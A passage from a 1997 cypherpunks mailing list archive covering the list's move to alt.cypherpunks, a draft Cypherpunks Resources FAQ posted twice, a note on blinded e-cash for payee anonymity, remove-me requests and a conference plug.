knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Wed Feb 12 16:16:50 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 16:16:50 -0800 (PST) Subject: Network of majordomos Message-ID: <855792537.1123372.0@fatmans.demon.co.uk> > What was your chater? Could you Cc a copy to the list? I didn`t save it but it was something along the lines of this: Charter: alt.cypherpunks will serve as a discussion forum for the members of the cypherpunks community. The discussion group previously resided on a mailing list run at toad.com but due to a difference of opinion between the majority of active members of the list and the owner of toad.com, John Gilmore, the list must now relocate onto usenet as a temporary measure while further measures are put in place to re-establish a mailing list format. The group has approximately 1500 members and has been active online for some 5 years. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From 70401.3161 at CompuServe.COM Wed Feb 12 16:17:23 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Wed, 12 Feb 1997 16:17:23 -0800 (PST) Subject: Remove My Name Message-ID: <970213001348_70401.3161_IHD85-1@CompuServe.COM> I CONTINUE TO RECEIVE MAIL. PLEASE REMOVE MY NAME FROM THE MAILING LIST. THANK YOU From janke at unixg.ubc.ca Wed Feb 12 16:24:44 1997 From: janke at unixg.ubc.ca (janke at unixg.ubc.ca) Date: Wed, 12 Feb 1997 16:24:44 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: Message-ID: Lee Tien writes: > [...] > Is payee anonymity technically possible? Under what conditions? > [...] It's not too hard: The payee forwards a blinded, non-signed coin to the payer. The payer has the bank sign this, and then returns it to the payee who strips out the blinding factor. I think this is discussed in Schneier. Leonard From wombat at mcfeely.bsfs.org Wed Feb 12 16:26:35 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Wed, 12 Feb 1997 16:26:35 -0800 (PST) Subject: Been good to know ya ... Message-ID: <199702130026.QAA09967@toad.com> Later, all. And thanks to John for all the work he has put in to maintaining the list. Last one to leave, turn out the lights. -r.w. From omegam at cmq.com Wed Feb 12 16:27:39 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Wed, 12 Feb 1997 16:27:39 -0800 (PST) Subject: Pre-alpha Cpunx-resource FAQ comments sought Message-ID: <199702130027.QAA09991@toad.com> Okay folks. I have worked on this much of the day. This is a more formalized outline as well as a somewhat fleshed out version of section 1 of the FAQ I am attempting to produce. I submit this to the group for commentary and suggestions as well as pointers to the relevant info. This should be enough to give a flavor of what I am trying to do. Anything in [] needs to be located and/or verified by myself. I realize that this won't please everyone and some may not care. So be it. Those who do care, please help me make it less of a FAQ based on my subjective experience and more of a useful general reference. Here it is... -----BEGIN PGP SIGNED MESSAGE----- Cypherpunks Resources FAQ version 0.000000002 Compiled, edited & maintained by Scott Harney "Omegaman " This document lists resources for readers interested in Cypherpunk issues and goals. The primary intention of this document is to get new readers of the group to explore the background issues that Cypherpunks attempt to address. It also includes pointers to many common cryptographic implementations and tools. Furthermore, pointers and instructions for various newsreaders and email-filters are provided to help users filter out some of the net's inevitable noise and glean the most useful information they can from this forum. This FAQ does not attempt to explictly define who the Cypherpunks are or answer questions about the philosophy. That is an exercise for the reader who utilizes the pointers within to find the answers on their own. After exploring these resources, the hope is that the reader will become a more effective and insightful contributor to alt.cypherpunks -- even if he/she is opposed to the goals of the group. This FAQ is not intended to be an exhaustive reference. A quick perusal of this FAQ should reveal the impossiblity of such a task. Rather, it is a jumping-off point. Almost all of the references below contain voluminous further references. If your mission-critical Cypherpunks site is not explicitly included, it is 99% likely to be referred to by at least one of them. This FAQ is propagated monthly to alt.cypherpunks. It can also be obtained be sending email with the subject and/or body "get cpunks faq" to omegam at cmq.com. As with nearly all net.publications, this document is in a constant state of contruction. When information in the FAQ is updated, I will also post a "what's new" message for those who are interested in reading additions/corrections without wading throught the entire FAQ again. - -------*********------- Author's Note/Disclaimer ---------*********--------- I maintain this FAQ solely on a voluntary basis. I am doing this because I think it is necessary. It would be contrary to the anarchic nature of the Cypherpunks to attempt to call this an official FAQ of the Cypherpunks group. Anyone who disagrees with the editing decisions and pointer selections I have made in this FAQ is free to. What this means is that you are encouraged to send comments, suggestions, corrections, new questions, and answers to me. I may or may not include them in future revisions of the FAQ. I do ask that somewhere in the subject of your mail redarding this FAQ you include the text "(CFAQ suggest)", so procmail can file such comments appropriately and I can address them in a more efficient manner. If I use your suggestion or answer to a question, I will attribute the reference to you unless you request that I do not. You are free to create your own Cypherpunks-resources FAQ if you don't like mine. - - Scott _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ - -------*********--------*********---------********--------*********------ Premliminary Outline Section 1 - Introduction and General Information. Q1.1 Does this newsgroup/mailing-list have a charter? Q1.2 How did the group get started? Q1.3 What do Cypherpunks want? Q1.4 What happened to the toad.com mailing list? Are there archives? Q1.5 Are there other groups besides Cypherpunks who share these goals. Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Q1.7 I'm interested, what can I do? Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty Glossary) Section 2 - Crypto in Action Q2.1 Pointers galore to PGP resources. Q2.2 Point to Schneir's site and include biblio info on Applied Crypto Q2.2 Point to cryptlib toolkits Q2.3 RSA, of course. Q2.4 pointers to disk encryption utilities for various platforms Q2.5 pointers to Raph's remailer site and other remailer info sites. remailer software. software to make remailer usage simpler (premail, PIdaho) Q2.6 pointers to the various digital cash purveyors and to explanations of how Chaumian digital cash works. Q2.7 pointers to Apache-SSL site and info, Stronghold, Q2.8 SSH Q2.9 Pointers to sites describing how various types of crypto actually work. sci.crypt faq Q3.0 But how do I know if it's good crypto? Point to snake Oil FAQ? Schneir's essay. Use your brain. Section 3 - Crypto and the Law Q3.1 Froomkin's site obviously.. John Young's also obvious. EFF has a good archive too. Karn case, others. Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR Q3.3 Pointers past Clipper failure info. Section 4 - Who's who & (recent) History of Crypto. Q4.1 A couple of good general history sites exist. also Codebreakers bibliographical reference. Q4.2 Enigma is a common question, point to relevant sites. Q4.3 Whit Diffie--some interviews etc are available Q4.4 Bruce Schneir same Q4.5 Phil Z and PGP history and interviews. Q4.6 Jim Bizdos Q4.8 Dorothy Denning (got to include the enemy too) Q4.7 Pointers to news on breaks of ciphers Q4.8 NSA site. [Others? I'm getting sleepy, names escaping me at the moment] Section 5 - Help! I want to know more but I'm drowning in noise Q5.1 Point to filtered lists in existence Q5.2 news2mail gateways as source of list. mail filtering tools come into good use. point to a bunch of them. Q5.3 Point to kill-file info for various newsreaders and platforms. [Possibly include generic examples from own experience and list user's experience who wish to contribute. Specific names will be ommitted of course. Also score information for those interested] Q5.4 point to information on other utilities and verification-type schemes [NoCeM's] Section 6 - Personal motivations, thank-you's, etc. *********----------**********----------**********---------*********---- Section 1. Introduction and General Information Q1.1 Do the Cypherpunks have an official charter? No. Cypherpunks are anarchic in nature so the notion of an official charter is directly contrary to such ideals. The two statements below are from Original Cypherpunks (OC's) Eric Hughes and Tim May. The first was part of the original welcome message to the mailing list hosted at toad.com. The second was suggested by Tim to the original list and commented upon by the readership. Both statements are accepted by much of the readership as good indicators of what Cypherpunks are about. Eric Hughes' statement: "Cypherpunks assume privacy is a good thing and wish there were more of it. Cypherpunks acknowledge that those who want privacy must create it for themselves and not expect governments, corporations, or other large, faceless organizations to grant them privacy out of beneficence. Cypherpunks know that people have been creating their own privacy for centuries with whispers, envelopes, closed doors, and couriers. Cypherpunks do not seek to prevent other people from speaking about their experiences or their opinions. The most important means to the defense of privacy is encryption. To encrypt is to indicate the desire for privacy. But to encrypt with weak cryptography is to indicate not too much desire for privacy. Cypherpunks hope that all people desiring privacy will learn how best to defend it. Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to learn about it, to teach it, to implement it, and to make more of it. Cypherpunks know that cryptographic protocols make social structures. Cypherpunks know how to attack a system and how to defend it. Cypherpunks know just how hard it is to make good cryptosystems. Cypherpunks love to practice. They love to play with public key cryptography. They love to play with anonymous and pseudonymous mail forwarding and delivery. They love to play with DC-nets. They love to play with secure communications of all kinds. Cypherpunks write code. They know that someone has to write code to defend privacy, and since it's their privacy, they're going to write it. Cypherpunks publish their code so that their fellow Cypherpunks may practice and play with it. Cypherpunks realize that security is not built in a day and are patient with incremental progress. Cypherpunks don't care if you don't like the software they write. Cypherpunks know that software can't be destroyed. Cypherpunks know that a widely dispersed system can't be shut down. Cypherpunks will make the networks safe for privacy." Tim May's statement: "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that 'alt.cypherpunks' will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." Q1.2 How did the group get started? Needless to say, the history of such things is fuzzy at best. Eric Hughes and Tim May had some discussions which led to Eric Hughes, decision to host a meeting. Concidently, the first meeting occurred the same week PGP 2.0 was released. John Gilmore offered his site to host a mailing list, and thus Cypherpunks were born. see Q1.2, Q1.4, and Q1.6 for references containing more detail. also see: [Wired article URL] Q1.3 What do Cypherpunks want? Such a simple question with no simple, short answer. Please explore the following sites. Tim May's provacative (and large!) Cyphernomicon http://www.oberlin.edu/~brchkind/cyphernomicon/ The Berkeley Cypherpunks site is another good starting point. ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html Also see: http://www.offshore.com.ai/security/ - Vince Cate's Cryptorebel/Cypherpunk Page http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy Page Q1.4 What happened to the toad.com mailing list? Are there archives? As with all Cypherpunks issues, there is much controversy surrounding the dissolution of the original list hosted by John Gilmore's machine @toad.com. Some say that noise devoured the list to such a point as to make it useless, driving away the "good posters". Others argue that the failed attempt at moderating the list to eliminate some of that noise was the final nail in the coffin. Whatever the reason, Gilmore told the Cypherpunks that it was time to find a new home. Running a mailing list with 1500+ subscription base and the enormous volume that the list had is not a simple task. The physical running of the list on a single machine requires enormous computational resources as well as constant human intervention. Perhaps the resultant newsgroup and distributed mailing list approach is more in line with Cypherpunk ideals. "Cypherpunks know that a widely dispersed system cannot be shut down." Archives of the original list are available to some degree at: http://infinity.nus.sg/cypherpunks/ http://weber.u.washington.edu/~phantom/cpunk/index.html Users interested in running a "node" of the distributed mailing list version of this newsgroup are encouraged to subscribe to Igor Chudov's discussion list on the subject. Send a message to majordomo at algebra.com with the body "subscribe cypherpunks-hosts" Q1.5 Are there other groups besides Cypherpunks who share these goals? The following organizations and sites share Cypherpunk goals to a greater or lesser extent. The EFF(Electronic Frontier Foundation) http://eff.org http://eff.org/pub/ITAR_export/HTML/hot.html & http://www.eff.org/pub/Privacy/hot.html - more specific references & extensive archival information EPIC (Electronic Privacy Information Center) http://epic.org Voter's Telecommunications Watch http://www.vtw.org Center for Democracy and Technology http://www.cdt.org The Cryptography List at C2Net is also a good resource. send a message to Majordomo at c2.net with the body "subscribe Cryptography" The Coderpunks list at toad.com is a technical discussion forum. Send a message to majordomo at toad.com with the body "subscribe coderpunks" Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Many Cypherpunks are professionals in the computer security field. Others work for companies and corporations which create and distribute products utilizing strong cryptography. Cypherpunks are also directly responsible for the creation and running of Type I and Type II(mixmaster) Cypherpunks anonymous remailers (surprising, eh?). see Q2.5 Cypherpunks have also produced software to make good crypto easier for the masses. [Get permission from PGP-front end producers to reference here] The Linux-IPSEC project is another good example. [see & subscribe ref?]. Mykotronx exposure and dumpster diving excursion. [reference?] see Q1.4(list-archive sites) Q1.7 I'm interested, what can I do? First of all READ before you post. Observe simple etiquette. Don't clutter the group with "me too" posts and questions which you can easily find the answer to yourself. Contribute signal, not noise. As of this writing, RSA, inc. is hosting a contest to crack the government standard DES 56 bit algorhythm. See [http://www.rsa.com/contest] for full details. Also see Peter Trei's site for software and info. Host a portion of the distributed mailing list. See Q1.5. Run an anonymous or pseudonymous remailer. see Q1.6 for site references and software. Use strong crypto. Encourage friends to use it as well. Increase the amount of encrypted traffic on the net. Can you code? There are plenty of projects and opportunites yet to be explored. Black Unicorn writes: "Where is highly sophisticated stego? Where are larger keys for symetric ciphers? Where is a fully functional and secure "stealth PGP"? Where are anonymous and encrypted WWW clients and hosts which permit chaining? If the crypto war is going to be lost it will be lost in the chill of development when crypto regulation is put into place. If you don't make the guns in the first place, the government has a much easier time taking them away." Q1.8 What are all these terms and acronyms anyway? Here's a quick-n-dirty glossary. GAK = Government access to keys. Government euphemisms for GAK include "key escrow" and "key recovery" (actually important for corporations, but misused in recent USG proposals) USG = United States Government ITAR = International Trade and Arms Regulations. Regulations export of arms from the US. Strong Crypto is regulated as a weapon by this document. see Q3.2 EAR = Encryption Algorhythm Regulations (a guess, look it up) Recent proposals by Clinton Administration. see Q3.2 TLA = Three Letter Acronym/Agency. Refers to USG agencies (typically involved in law enforcement) FBI, CIA, NSA, etc. NSA = National Security Agency. This highly secretive agency is responsible for the protection of USG secrecy via encryption as well as the spying on other governments by breaking encryption algorhythms. see Q4.8 DES = US Data Encryption Standard algorhythm. see Q2.9 RSA = a company and a public key algorhythm. see Q2.9 and Q2.3 net.loon/kook = a purely subjective characterization. Signal-to-Noise ratio = Signal refers to on-topic posts. Noise, the opposite. A high S/N ratio means the list is putting out a lot of signal("good posts"). Subjective, but fairly obvious. See Section 5 for pointers no how to reduce (what you think is) noise Memes = [get a good definition here] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [Rest of FAQ goes here :) This is a pre-alpha FAQ, intended only to solicit commentary and suggestions.] -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBMwJViqb3EfJTqNC9AQHigwP+IAXu+PO7aGiR/zZxz91PhnYuYvTy3jMN HzO4djcx44auPMjh6pFpmWJuYRcoxVHXCh2JO4UOR3cNYloxikwY4hGgYx8jLgN1 XORQztiCGMI/2ScVsi8tH6eJLCuZxmE7s8semel4CC8xH3H74vCiBNZD6iyyIXOG oMkSnOVFAQg= =Fdky -----END PGP SIGNATURE----- From omegam at cmq.com Wed Feb 12 16:27:52 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Wed, 12 Feb 1997 16:27:52 -0800 (PST) Subject: Pre-alpha Cpunx-resource FAQ comments sought Message-ID: <199702130027.QAA10017@toad.com> Okay folks. I have worked on this much of the day. This is a more formalized outline as well as a somewhat fleshed out version of section 1 of the FAQ I am attempting to produce. I submit this to the group for commentary and suggestions as well as pointers to the relevant info. This should be enough to give a flavor of what I am trying to do. Anything in [] needs to be located and/or verified by myself. I realize that this won't please everyone and some may not care. So be it. Those who do care, please help me make it less of a FAQ based on my subjective experience and more of a useful general reference. Here it is... -----BEGIN PGP SIGNED MESSAGE----- Cypherpunks Resources FAQ version 0.000000002 Compiled, edited & maintained by Scott Harney "Omegaman " This document lists resources for readers interested in Cypherpunk issues and goals. The primary intention of this document is to get new readers of the group to explore the background issues that Cypherpunks attempt to address. It also includes pointers to many common cryptographic implementations and tools. Furthermore, pointers and instructions for various newsreaders and email-filters are provided to help users filter out some of the net's inevitable noise and glean the most useful information they can from this forum. This FAQ does not attempt to explictly define who the Cypherpunks are or answer questions about the philosophy. That is an exercise for the reader who utilizes the pointers within to find the answers on their own. After exploring these resources, the hope is that the reader will become a more effective and insightful contributor to alt.cypherpunks -- even if he/she is opposed to the goals of the group. This FAQ is not intended to be an exhaustive reference. A quick perusal of this FAQ should reveal the impossiblity of such a task. Rather, it is a jumping-off point. Almost all of the references below contain voluminous further references. If your mission-critical Cypherpunks site is not explicitly included, it is 99% likely to be referred to by at least one of them. This FAQ is propagated monthly to alt.cypherpunks. It can also be obtained be sending email with the subject and/or body "get cpunks faq" to omegam at cmq.com. As with nearly all net.publications, this document is in a constant state of contruction. When information in the FAQ is updated, I will also post a "what's new" message for those who are interested in reading additions/corrections without wading throught the entire FAQ again. - -------*********------- Author's Note/Disclaimer ---------*********--------- I maintain this FAQ solely on a voluntary basis. I am doing this because I think it is necessary. It would be contrary to the anarchic nature of the Cypherpunks to attempt to call this an official FAQ of the Cypherpunks group. Anyone who disagrees with the editing decisions and pointer selections I have made in this FAQ is free to. What this means is that you are encouraged to send comments, suggestions, corrections, new questions, and answers to me. I may or may not include them in future revisions of the FAQ. I do ask that somewhere in the subject of your mail redarding this FAQ you include the text "(CFAQ suggest)", so procmail can file such comments appropriately and I can address them in a more efficient manner. If I use your suggestion or answer to a question, I will attribute the reference to you unless you request that I do not. You are free to create your own Cypherpunks-resources FAQ if you don't like mine. - - Scott _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ - -------*********--------*********---------********--------*********------ Premliminary Outline Section 1 - Introduction and General Information. Q1.1 Does this newsgroup/mailing-list have a charter? Q1.2 How did the group get started? Q1.3 What do Cypherpunks want? Q1.4 What happened to the toad.com mailing list? Are there archives? Q1.5 Are there other groups besides Cypherpunks who share these goals. Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Q1.7 I'm interested, what can I do? Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty Glossary) Section 2 - Crypto in Action Q2.1 Pointers galore to PGP resources. Q2.2 Point to Schneir's site and include biblio info on Applied Crypto Q2.2 Point to cryptlib toolkits Q2.3 RSA, of course. Q2.4 pointers to disk encryption utilities for various platforms Q2.5 pointers to Raph's remailer site and other remailer info sites. remailer software. software to make remailer usage simpler (premail, PIdaho) Q2.6 pointers to the various digital cash purveyors and to explanations of how Chaumian digital cash works. Q2.7 pointers to Apache-SSL site and info, Stronghold, Q2.8 SSH Q2.9 Pointers to sites describing how various types of crypto actually work. sci.crypt faq Q3.0 But how do I know if it's good crypto? Point to snake Oil FAQ? Schneir's essay. Use your brain. Section 3 - Crypto and the Law Q3.1 Froomkin's site obviously.. John Young's also obvious. EFF has a good archive too. Karn case, others. Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR Q3.3 Pointers past Clipper failure info. Section 4 - Who's who & (recent) History of Crypto. Q4.1 A couple of good general history sites exist. also Codebreakers bibliographical reference. Q4.2 Enigma is a common question, point to relevant sites. Q4.3 Whit Diffie--some interviews etc are available Q4.4 Bruce Schneir same Q4.5 Phil Z and PGP history and interviews. Q4.6 Jim Bizdos Q4.8 Dorothy Denning (got to include the enemy too) Q4.7 Pointers to news on breaks of ciphers Q4.8 NSA site. [Others? I'm getting sleepy, names escaping me at the moment] Section 5 - Help! I want to know more but I'm drowning in noise Q5.1 Point to filtered lists in existence Q5.2 news2mail gateways as source of list. mail filtering tools come into good use. point to a bunch of them. Q5.3 Point to kill-file info for various newsreaders and platforms. [Possibly include generic examples from own experience and list user's experience who wish to contribute. Specific names will be ommitted of course. Also score information for those interested] Q5.4 point to information on other utilities and verification-type schemes [NoCeM's] Section 6 - Personal motivations, thank-you's, etc. *********----------**********----------**********---------*********---- Section 1. Introduction and General Information Q1.1 Do the Cypherpunks have an official charter? No. Cypherpunks are anarchic in nature so the notion of an official charter is directly contrary to such ideals. The two statements below are from Original Cypherpunks (OC's) Eric Hughes and Tim May. The first was part of the original welcome message to the mailing list hosted at toad.com. The second was suggested by Tim to the original list and commented upon by the readership. Both statements are accepted by much of the readership as good indicators of what Cypherpunks are about. Eric Hughes' statement: "Cypherpunks assume privacy is a good thing and wish there were more of it. Cypherpunks acknowledge that those who want privacy must create it for themselves and not expect governments, corporations, or other large, faceless organizations to grant them privacy out of beneficence. Cypherpunks know that people have been creating their own privacy for centuries with whispers, envelopes, closed doors, and couriers. Cypherpunks do not seek to prevent other people from speaking about their experiences or their opinions. The most important means to the defense of privacy is encryption. To encrypt is to indicate the desire for privacy. But to encrypt with weak cryptography is to indicate not too much desire for privacy. Cypherpunks hope that all people desiring privacy will learn how best to defend it. Cypherpunks are therefore devoted to cryptography. Cypherpunks wish to learn about it, to teach it, to implement it, and to make more of it. Cypherpunks know that cryptographic protocols make social structures. Cypherpunks know how to attack a system and how to defend it. Cypherpunks know just how hard it is to make good cryptosystems. Cypherpunks love to practice. They love to play with public key cryptography. They love to play with anonymous and pseudonymous mail forwarding and delivery. They love to play with DC-nets. They love to play with secure communications of all kinds. Cypherpunks write code. They know that someone has to write code to defend privacy, and since it's their privacy, they're going to write it. Cypherpunks publish their code so that their fellow Cypherpunks may practice and play with it. Cypherpunks realize that security is not built in a day and are patient with incremental progress. Cypherpunks don't care if you don't like the software they write. Cypherpunks know that software can't be destroyed. Cypherpunks know that a widely dispersed system can't be shut down. Cypherpunks will make the networks safe for privacy." Tim May's statement: "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that 'alt.cypherpunks' will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." Q1.2 How did the group get started? Needless to say, the history of such things is fuzzy at best. Eric Hughes and Tim May had some discussions which led to Eric Hughes, decision to host a meeting. Concidently, the first meeting occurred the same week PGP 2.0 was released. John Gilmore offered his site to host a mailing list, and thus Cypherpunks were born. see Q1.2, Q1.4, and Q1.6 for references containing more detail. also see: [Wired article URL] Q1.3 What do Cypherpunks want? Such a simple question with no simple, short answer. Please explore the following sites. Tim May's provacative (and large!) Cyphernomicon http://www.oberlin.edu/~brchkind/cyphernomicon/ The Berkeley Cypherpunks site is another good starting point. ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html Also see: http://www.offshore.com.ai/security/ - Vince Cate's Cryptorebel/Cypherpunk Page http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy Page Q1.4 What happened to the toad.com mailing list? Are there archives? As with all Cypherpunks issues, there is much controversy surrounding the dissolution of the original list hosted by John Gilmore's machine @toad.com. Some say that noise devoured the list to such a point as to make it useless, driving away the "good posters". Others argue that the failed attempt at moderating the list to eliminate some of that noise was the final nail in the coffin. Whatever the reason, Gilmore told the Cypherpunks that it was time to find a new home. Running a mailing list with 1500+ subscription base and the enormous volume that the list had is not a simple task. The physical running of the list on a single machine requires enormous computational resources as well as constant human intervention. Perhaps the resultant newsgroup and distributed mailing list approach is more in line with Cypherpunk ideals. "Cypherpunks know that a widely dispersed system cannot be shut down." Archives of the original list are available to some degree at: http://infinity.nus.sg/cypherpunks/ http://weber.u.washington.edu/~phantom/cpunk/index.html Users interested in running a "node" of the distributed mailing list version of this newsgroup are encouraged to subscribe to Igor Chudov's discussion list on the subject. Send a message to majordomo at algebra.com with the body "subscribe cypherpunks-hosts" Q1.5 Are there other groups besides Cypherpunks who share these goals? The following organizations and sites share Cypherpunk goals to a greater or lesser extent. The EFF(Electronic Frontier Foundation) http://eff.org http://eff.org/pub/ITAR_export/HTML/hot.html & http://www.eff.org/pub/Privacy/hot.html - more specific references & extensive archival information EPIC (Electronic Privacy Information Center) http://epic.org Voter's Telecommunications Watch http://www.vtw.org Center for Democracy and Technology http://www.cdt.org The Cryptography List at C2Net is also a good resource. send a message to Majordomo at c2.net with the body "subscribe Cryptography" The Coderpunks list at toad.com is a technical discussion forum. Send a message to majordomo at toad.com with the body "subscribe coderpunks" Q1.6 What have the Cypherpunks done to advance their goals other that merely talk about them? Many Cypherpunks are professionals in the computer security field. Others work for companies and corporations which create and distribute products utilizing strong cryptography. Cypherpunks are also directly responsible for the creation and running of Type I and Type II(mixmaster) Cypherpunks anonymous remailers (surprising, eh?). see Q2.5 Cypherpunks have also produced software to make good crypto easier for the masses. [Get permission from PGP-front end producers to reference here] The Linux-IPSEC project is another good example. [see & subscribe ref?]. Mykotronx exposure and dumpster diving excursion. [reference?] see Q1.4(list-archive sites) Q1.7 I'm interested, what can I do? First of all READ before you post. Observe simple etiquette. Don't clutter the group with "me too" posts and questions which you can easily find the answer to yourself. Contribute signal, not noise. As of this writing, RSA, inc. is hosting a contest to crack the government standard DES 56 bit algorhythm. See [http://www.rsa.com/contest] for full details. Also see Peter Trei's site for software and info. Host a portion of the distributed mailing list. See Q1.5. Run an anonymous or pseudonymous remailer. see Q1.6 for site references and software. Use strong crypto. Encourage friends to use it as well. Increase the amount of encrypted traffic on the net. Can you code? There are plenty of projects and opportunites yet to be explored. Black Unicorn writes: "Where is highly sophisticated stego? Where are larger keys for symetric ciphers? Where is a fully functional and secure "stealth PGP"? Where are anonymous and encrypted WWW clients and hosts which permit chaining? If the crypto war is going to be lost it will be lost in the chill of development when crypto regulation is put into place. If you don't make the guns in the first place, the government has a much easier time taking them away." Q1.8 What are all these terms and acronyms anyway? Here's a quick-n-dirty glossary. GAK = Government access to keys. Government euphemisms for GAK include "key escrow" and "key recovery" (actually important for corporations, but misused in recent USG proposals) USG = United States Government ITAR = International Trade and Arms Regulations. Regulations export of arms from the US. Strong Crypto is regulated as a weapon by this document. see Q3.2 EAR = Encryption Algorhythm Regulations (a guess, look it up) Recent proposals by Clinton Administration. see Q3.2 TLA = Three Letter Acronym/Agency. Refers to USG agencies (typically involved in law enforcement) FBI, CIA, NSA, etc. NSA = National Security Agency. This highly secretive agency is responsible for the protection of USG secrecy via encryption as well as the spying on other governments by breaking encryption algorhythms. see Q4.8 DES = US Data Encryption Standard algorhythm. see Q2.9 RSA = a company and a public key algorhythm. see Q2.9 and Q2.3 net.loon/kook = a purely subjective characterization. Signal-to-Noise ratio = Signal refers to on-topic posts. Noise, the opposite. A high S/N ratio means the list is putting out a lot of signal("good posts"). Subjective, but fairly obvious. See Section 5 for pointers no how to reduce (what you think is) noise Memes = [get a good definition here] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [Rest of FAQ goes here :) This is a pre-alpha FAQ, intended only to solicit commentary and suggestions.] -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: latin1 iQCVAwUBMwJViqb3EfJTqNC9AQHigwP+IAXu+PO7aGiR/zZxz91PhnYuYvTy3jMN HzO4djcx44auPMjh6pFpmWJuYRcoxVHXCh2JO4UOR3cNYloxikwY4hGgYx8jLgN1 XORQztiCGMI/2ScVsi8tH6eJLCuZxmE7s8semel4CC8xH3H74vCiBNZD6iyyIXOG oMkSnOVFAQg= =Fdky -----END PGP SIGNATURE----- From rah at shipwright.com Wed Feb 12 16:37:47 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 12 Feb 1997 16:37:47 -0800 (PST) Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash) In-Reply-To: <199702122350.PAA14364@you.got.net> Message-ID: At 7:08 pm -0500 2/12/97, Tim May wrote: >This "disintermediates" the process, and makes for an "everyone a mint" >situation, which has some of the same nice properties that an "everyone a >remailer" ecology of remailers and users has. And, of course, Ian's going to teach all this fun stuff in Anguilla next week. ;-). E-mail me, and I'll refresh your memory with a workshop program, or just click on the FC97 URL in my .sig, below. We have lots of room. Just don't take American, though American Eagle's okay... Shamelessly yours, P. T. Hettinga Promotional Chairman, FC97 Workshop, Conference, and Exhibition ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From 70401.3161 at CompuServe.COM Wed Feb 12 16:41:03 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Wed, 12 Feb 1997 16:41:03 -0800 (PST) Subject: Remove My Name Message-ID: <199702130041.QAA10351@toad.com> I CONTINUE TO RECEIVE MAIL. PLEASE REMOVE MY NAME FROM THE MAILING LIST. THANK YOU From janke at unixg.ubc.ca Wed Feb 12 16:41:39 1997 From: janke at unixg.ubc.ca (janke at unixg.ubc.ca) Date: Wed, 12 Feb 1997 16:41:39 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130041.QAA10379@toad.com> Lee Tien writes: > [...] > Is payee anonymity technically possible? Under what conditions? > [...] It's not too hard: The payee forwards a blinded, non-signed coin to the payer. The payer has the bank sign this, and then returns it to the payee who strips out the blinding factor. I think this is discussed in Schneier. Leonard From paul at fatmans.demon.co.uk Wed Feb 12 16:41:56 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 16:41:56 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <199702130041.QAA10394@toad.com> > Why you are doing this, Paul? > > - Igor. It would appear that someone I gave my password to the other day (I recieve no sensitive mail through this account) so they could use it to test a machine has a rather infantile sense of humour and have taken my critical posts to the list to mean that I want to spam a mailing list with dreck like this. I shall ensure the offending fool is castrated forthwith... Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch 